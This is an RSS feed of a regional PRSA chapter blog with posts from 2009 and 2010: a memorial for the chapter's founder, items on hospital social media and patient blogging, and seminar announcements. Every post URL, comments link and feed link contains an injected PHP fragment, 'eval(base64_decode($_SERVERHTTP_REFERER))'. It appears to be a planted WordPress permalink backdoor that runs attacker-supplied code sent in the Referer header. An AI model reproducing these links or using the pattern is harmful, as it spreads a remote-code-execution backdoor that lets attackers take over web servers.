PRSA Tar Heel Chapter Blog http://prsatarheelblog.org The official blog of the Tar Heel Chapter of PRSA Thu, 27 May 2010 15:11:43 +0000 en hourly 1 http://wordpress.org/?v=3.0.5 Tar Heel Chapter Mourns Loss of Founder and Friend http://prsatarheelblog.org/2010/05/27/tar-heel-chapter-mourns-loss-of-founder-and-friend/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2010/05/27/tar-heel-chapter-mourns-loss-of-founder-and-friend/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 27 May 2010 15:11:43 +0000 Aaron Wall, APR http://prsatarheelblog.org/?p=194 It is with great sadness I inform you of the passing of our chapter founder and friend, John Davidson Spinks. John will be greatly missed, though his contributions to the public relations profession in our region and beyond will thankfully live on for generations.

John set the standard of ethical and professional behavior for our chosen profession and I feel honored to have met and known the man after which the highest honor in our chapter is named. Hopefully you had the opportunity to meet this great man of vision, innovation and sense of humor. John was one of the great ones and a true pioneer. I know his name and constant example of excellence will live on as one of the forefathers of public relations as we know it.

A memorial service will be held in the Fellowship Hall of the Berrier Building in Arbor Acres on Saturday June 5 at 2 p.m. The family requests that any memorials be made to Arbor Acres, The United Methodist Retirement Home in Winston-Salem. Online condolences may be made through www.salemfh.com.

Link to obituary in the Winston-Salem Journal: http://ow.ly/1QEgN

]]> http://prsatarheelblog.org/2010/05/27/tar-heel-chapter-mourns-loss-of-founder-and-friend/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Follow surgery live via Twitter? http://prsatarheelblog.org/2010/04/15/follow-surgery-live-via-twitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2010/04/15/follow-surgery-live-via-twitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Thu, 15 Apr 2010 13:25:22 +0000 Aaron Wall, APR http://prsatarheelblog.org/?p=188 Tweeting a live surgey is new territory for High Point Regional and social media. Should be interesting.  

See this article for more details, and let me know what you think. Is this a valuable use of Twitter? What can Twitter teach public relations practitioners about social medial and connecting with our publics?

]]> http://prsatarheelblog.org/2010/04/15/follow-surgery-live-via-twitter/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Patient Blogging 2.0 http://prsatarheelblog.org/2010/04/09/patient-blogging-20/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2010/04/09/patient-blogging-20/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 09 Apr 2010 12:46:15 +0000 Aaron Wall, APR http://prsatarheelblog.org/?p=180 High Point Regional started “Patient Blogging” in March of 2005 to great acclaim locally, nationally and internationally for having one of the first known, hospital-based, patient blogs. In 2006, we were awarded PRSA’s Bronze Anvil Award of Commendation for innovative use of the tool.

Since we originally launched the blog, we’ve learned a great deal about what works and what doesn’t. As you’ll see in the following video, the oldest rule of communication still holds true…it all comes down to content and story. Take a look and tell me what you think, then see Cathy’s story at www.chemofieldtrips.com.

]]> http://prsatarheelblog.org/2010/04/09/patient-blogging-20/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Monty Hagler: 2010 Spinks Award Recipient Still Making News http://prsatarheelblog.org/2010/03/31/monty-hagler-2010-spinks-award-recipient-still-making-news/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2010/03/31/monty-hagler-2010-spinks-award-recipient-still-making-news/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 31 Mar 2010 13:49:59 +0000 Aaron Wall, APR http://prsatarheelblog.org/?p=172  

]]> http://prsatarheelblog.org/2010/03/31/monty-hagler-2010-spinks-award-recipient-still-making-news/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Five Reasons Companies Should Not Block Access to Social Networks http://prsatarheelblog.org/2010/03/30/five-reasons-companies-should-not-block-access-to-social-networks/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2010/03/30/five-reasons-companies-should-not-block-access-to-social-networks/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 30 Mar 2010 12:15:03 +0000 Aaron Wall, APR http://prsatarheelblog.org/?p=169 Is your Exec team saying no to Facebook and Twitter? Send them this article. It lists five reasons why companies shouldn’t ban social networking sites. This one might surprise you: Social networks can actually make workers more productive.
Link: http://ow.ly/1szyF

]]> http://prsatarheelblog.org/2010/03/30/five-reasons-companies-should-not-block-access-to-social-networks/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Healthcare marketers – are you still at the center of your attention? http://prsatarheelblog.org/2010/03/23/healthcare-marketers-%e2%80%93-are-you-still-at-the-center-of-your-attention/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2010/03/23/healthcare-marketers-%e2%80%93-are-you-still-at-the-center-of-your-attention/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 23 Mar 2010 12:25:01 +0000 Aaron Wall, APR http://prsatarheelblog.org/2010/03/23/healthcare-marketers-%e2%80%93-are-you-still-at-the-center-of-your-attention/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ This article – Just Shut Up And Listen? – originally appeared in the October issue of Accenture’s Outlook. It contrasts the recent past when life for marketers was far more simple (i.e. we talk and you listen), with today’s conversation-based practices.

The article also provides eight actions that you can take immediately to more meaningfully engage, and create more value for, your customers: http://ow.ly/1pLKL

]]> http://prsatarheelblog.org/2010/03/23/healthcare-marketers-%e2%80%93-are-you-still-at-the-center-of-your-attention/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Eric Schwartzman Confirmed as Keynoter for Professional Development Seminar http://prsatarheelblog.org/2009/07/27/eric-schwartzman-confirmed-as-keynoter-for-professional-development-seminar/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2009/07/27/eric-schwartzman-confirmed-as-keynoter-for-professional-development-seminar/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Mon, 27 Jul 2009 18:30:44 +0000 elizabethmckinney http://prsatarheelblog.org/?p=164 By John Luecke, APR, Professional Development Seminar Committee

Eric Schwartzman is a senior communications professional with broad experience in online communication, public relations, public affairs and marketing. He will address the Tarheel Chapter’s professional development seminar on September 10, 2010, at High Point University.

Schwartzman helps organizations develop and execute digital communication strategies and has extensive experience integrating emerging information technologies into organizational communication programs. He has consulted with organizations as diverse as Boeing, Brigham Young University, City National Bank, Environmental Defense Fund, Johnson & Johnson, the U.S. Department of State, and many others. He also conducts regular new media and social media workshops for PRSA.

He pioneered the development of on-line newsrooms for a variety of entertainment venues including The Grammy Awards, MTV, Cirque du Soleil and the Salt Lake Olympics. He also founded iPressroom which currently hosts newsrooms for Target, Toyota and UCLA.

Complete details about Schwartzman can be found at http://www.schwartzmanpr.com/pr/schwartzman/bio-eric.aspx

]]> http://prsatarheelblog.org/2009/07/27/eric-schwartzman-confirmed-as-keynoter-for-professional-development-seminar/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 No, thank you! http://prsatarheelblog.org/2009/07/10/no-thank-you/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2009/07/10/no-thank-you/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Fri, 10 Jul 2009 18:50:03 +0000 Leslie Brooks http://prsatarheelblog.org/?p=162 Thank you mentioning me in the July newsletter. I resigned my position as board secretary with sadness, but for a very happy reason. I got married in March and moved to the Charlotte area in April. I continue to work with my clients in the Triad area and have expanded my business into the Charlotte market. I’m going to miss all of the Tarheel members and  hope our paths will cross often in the future. I sincerely value my time on the board, the friendships I’ve developed and the many opportunities the chapter has afforded me through the years. I will certainly do all I can to help the new secretary settle in.

I may be gone from the Tarheel chapter but I’m not gone from PRSA. I am transferring my membership to the Charlotte chapter. I trust they’ll be as terrific as all of you and hope I can continue to contribute to PRSA as time moves forward.

All the best,

Leslie Brooks Sidman
President, Leslie Brooks PR & Marketing

]]> http://prsatarheelblog.org/2009/07/10/no-thank-you/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 Believer, Skeptic or Just Don’t Know http://prsatarheelblog.org/2009/06/10/believer-skeptic-or-just-dont-know/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2009/06/10/believer-skeptic-or-just-dont-know/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 10 Jun 2009 19:54:34 +0000 elizabethmckinney http://prsatarheelblog.org/?p=158 by Tarah Jakubiak, Professional Development Seminar Committee

The world is becoming a smaller place. We have known this for years, thanks to the internet. However, social media has brought this reality one step further. The US Air flight 1549, which crash-landed in the Hudson River, was first brought to us by Twitter. In other words, we heard about it first from a non-traditional news source.

So what does that mean for the future of traditional news sources? What about the viewers? What does that mean for future generations? Will they become dependent on social media as a news outlet? Will they only trust social media? What then happens if the news is misrepresented in this format?

To answer the last question – no matter what type of media news outlet, there has been and there will always be errors, misprints, typos or misrepresentations. So why pick on social media? Possibly because it’s new, it’s unknown or people are afraid of change. To anyone who follows social media outlets religiously – they are believers, to anyone who follows them occasionally they are skeptics and to those non-followers- they don’t know what to think.

Do you know which group you fall into? Come make up your own mind on September 10th at the Professional Development Seminar “What now? Getting news out in a newspaper-less age?”

Got an opinion? We would love to hear from you – either post a comment, come to the event or contact anyone on the board committee: Elizabeth McKinney, APR; John Luecke, APR; Beth Bartlett, Samantha Hargrove or Tarah Jakubiak.

]]> http://prsatarheelblog.org/2009/06/10/believer-skeptic-or-just-dont-know/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0 And The Topic Is . . . http://prsatarheelblog.org/2009/06/02/and-the-topic-is/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://prsatarheelblog.org/2009/06/02/and-the-topic-is/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 02 Jun 2009 17:23:59 +0000 elizabethmckinney http://prsatarheelblog.org/?p=155 by Beth A. Bartlett, Professional Development Committee

This year’s Professional Development Seminar topic has been determined… “What Now? Getting News Out in a Newspaper-less Age” will be the subject of focus for the day-long seminar, which will take place at High Point University. Mark your calendar today!

The seminar will examine how PR has changed over time and what that means for the future of this profession – specifically, how to get news items out if we can no longer depend on newspapers, the significant effects of politics on media, and the ever-changing media landscape.

The chapter’s planning committee issued a survey in April to gauge member interest and feedback on previous seminars to help plan for 2009. If you have additional thoughts since you filled out the survey, the chair is Elizabeth McKinney, APR, and the members are Tarah Jakubiak, John Luecke, APR, Samantha Hargrove, and Beth Bartlett. Feel free to contact any one of us with any input or questions you may have.

Be on the lookout for further posts with additional information regarding speakers!

]]> http://prsatarheelblog.org/2009/06/02/and-the-topic-is/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/feed/ 0